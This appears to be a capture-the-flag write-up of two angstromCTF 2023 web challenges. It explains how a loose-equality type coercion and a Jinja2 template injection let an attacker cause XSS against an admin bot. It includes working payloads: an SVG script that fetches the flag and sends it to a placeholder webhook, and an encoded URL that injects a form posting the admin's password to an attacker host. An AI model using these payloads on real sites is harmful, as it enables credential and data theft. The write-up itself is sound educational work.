Introduction
A writeup for some interesting angstromCTF 2023 challenges.
hallmark
We note from the challenge info that we need to xss the admin bot to get the flag:
The page is a simple form for submitting a card to be stored on the server:
From the source, the only sink seems to be a PUT request on the /cart
endpoint for creating a new card type:
app.put("/card", (req, res) => {
let { id, type, svg, content } = req.body;
if (!id || !cards[id]){
res.send("bad id");
return;
}
cards[id].type = type == "image/svg+xml" ? type : "text/plain";
cards[id].content = type === "image/svg+xml" ? IMAGES[svg || "heart"] : content;
res.send("ok");
});
Looking at the source code on this endpoint, we can see inconsistent use of double equals and triple equals.
This means that we can send an array in the request parameters to exploit the type coercion on double equals, like:
svg=abcd&content=abcd&type[]==image/svg%2bxml&id=someid
.
Double equals signs will coerce an array like ['image/svg+xml']
to 'image/svg+xml'
, but triple equals won’t. Thus, we can make the server accept our content as image/svg+xml
.
Now, we can just use a simple SVG XSS payload as the value in our content
parameter to store an xss at that card.
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
fetch('/flag').then(resp => resp.text()).then(text => fetch("<webhook url>" %2b text))
</script>
</svg>
Sending our payload to store an xss, we then submit the card url to the admin bot.
Then, we get a request to our webhook at <webhook url>/actf%7Bthe_adm1n_has_rece1ved_y0ur_card_cefd0aac23a38d33%7D
Hence, the flag is actf{the_adm1n_has_rece1ved_y0ur_card_cefd0aac23a38d33}
.
brokenlogin
This challenge greets us with a login page:
The source code for the website looks like this:
from flask import Flask, make_response, request, escape, render_template_string
app = Flask(__name__)
fails = 0
indexPage = """
<html>
<head>
<title>Broken Login</title>
</head>
<body>
<p style="color: red; fontSize: '28px';">%s</p>
<p>Number of failed logins: </p>
<form action="/" method="POST">
<label for="username">Username: </label>
<input id="username" type="text" name="username" /><br /><br />
<label for="password">Password: </label>
<input id="password" type="password" name="password" /><br /><br />
<input type="submit" />
</form>
</body>
</html>
"""
@app.get("/")
def index():
global fails
custom_message = ""
if "message" in request.args:
if len(request.args["message"]) >= 25:
return render_template_string(indexPage, fails=request.args["message"] + ' | ' + str(len(request.args["message"])))
custom_message = escape(request.args["message"])
return render_template_string(indexPage % custom_message, fails=request.args["message"] + ' | ' + str(len(request.args["message"])))
@app.post("/")
def login():
global fails
fails += 1
return make_response("wrong username or password", 401)
if __name__ == "__main__":
app.run("0.0.0.0")
And the source code for the admin bot looks like this:
module.exports = {
name: "brokenlogin",
timeout: 7000,
async execute(browser, url) {
if (!/^https:\/\/brokenlogin\.web\.actf\.co\/.*/.test(url)) return;
const page = await browser.newPage();
await page.goto(url);
await page.waitForNetworkIdle({
timeout: 5000,
});
await page.waitForSelector("input[name=username]");
await page.$eval(
"input[name=username]",
(el) => (el.value = "admin")
);
await page.waitForSelector("input[name=password]");
await page.$eval(
"input[name=password]",
(el, password) => (el.value = password),
process.env.CHALL_BROKENLOGIN_FLAG
);
await page.click("input[type=submit]");
await new Promise((r) => setTimeout(r, 1000));
await page.close();
},
};
So, we get to work on finding sinks to XSS the admin bot. The first thing that we discover is that the message param on the login page is vulnerable to SSTI:
However, from the source code, we note that we can’t have a payload longer than 25 characters:
@app.get("/")
def index():
global fails
custom_message = ""
if "message" in request.args:
if len(request.args["message"]) >= 25:
return render_template_string(indexPage, fails=request.args["message"] + ' | ' + str(len(request.args["message"])))
custom_message = escape(request.args["message"])
return render_template_string(indexPage % custom_message, fails=request.args["message"] + ' | ' + str(len(request.args["message"])))
This means that we can’t do a typical __mro__
and __subclasses__()
chain to break out of the jinja2 sandbox, because it would take too many characters. We can, however, reference other parameters to get past this restriction– albeit without python code execution:
At this point, I attempted to put an XSS payload into the site via this SSTI, but was unsuccessful:
jinja2 automatically escapes text by default. However, we can indicate to the template engine not to escape our text by including |safe
in the curly braces.
From here, we inject another form to trick the admin bot into submitting its flag to us.
<form action="<webhook site>/" method="POST">
<label for="username">Username: </label>
<input id="username" type="text" name="username" /><br /><br />
<label for="password">Password: </label>
<input id="password" type="password" name="password" /><br /><br />
<input type="submit" />
</form>
This brings us to a final payload of:
https://brokenlogin.web.actf.co/?message=%7B%7Brequest.args.a%7Csafe%7D%7D&a=%3Cform%20action=%22<webhook site>/%22%20method=%22POST%22%3E%20%3Clabel%20for=%22username%22%3EUsername:%20%3C/label%3E%20%3Cinput%20id=%22username%22%20type=%22text%22%20name=%22username%22%20/%3E%3Cbr%20/%3E%3Cbr%20/%3E%20%3Clabel%20for=%22password%22%3EPassword:%20%3C/label%3E%20%3Cinput%20id=%22password%22%20type=%22password%22%20name=%22password%22%20/%3E%3Cbr%20/%3E%3Cbr%20/%3E%20%3Cinput%20type=%22submit%22%20/%3E%20%3C/form%3E
Submitting this payload to the admin bot, we receive this request body at our webhook:
username=admin&password=actf%7Badm1n_st1ll_c4nt_l0g1n_11dbb6af58965de9%7D
Hence, the flag is actf{adm1n_st1ll_c4nt_l0g1n_11dbb6af58965de9}
.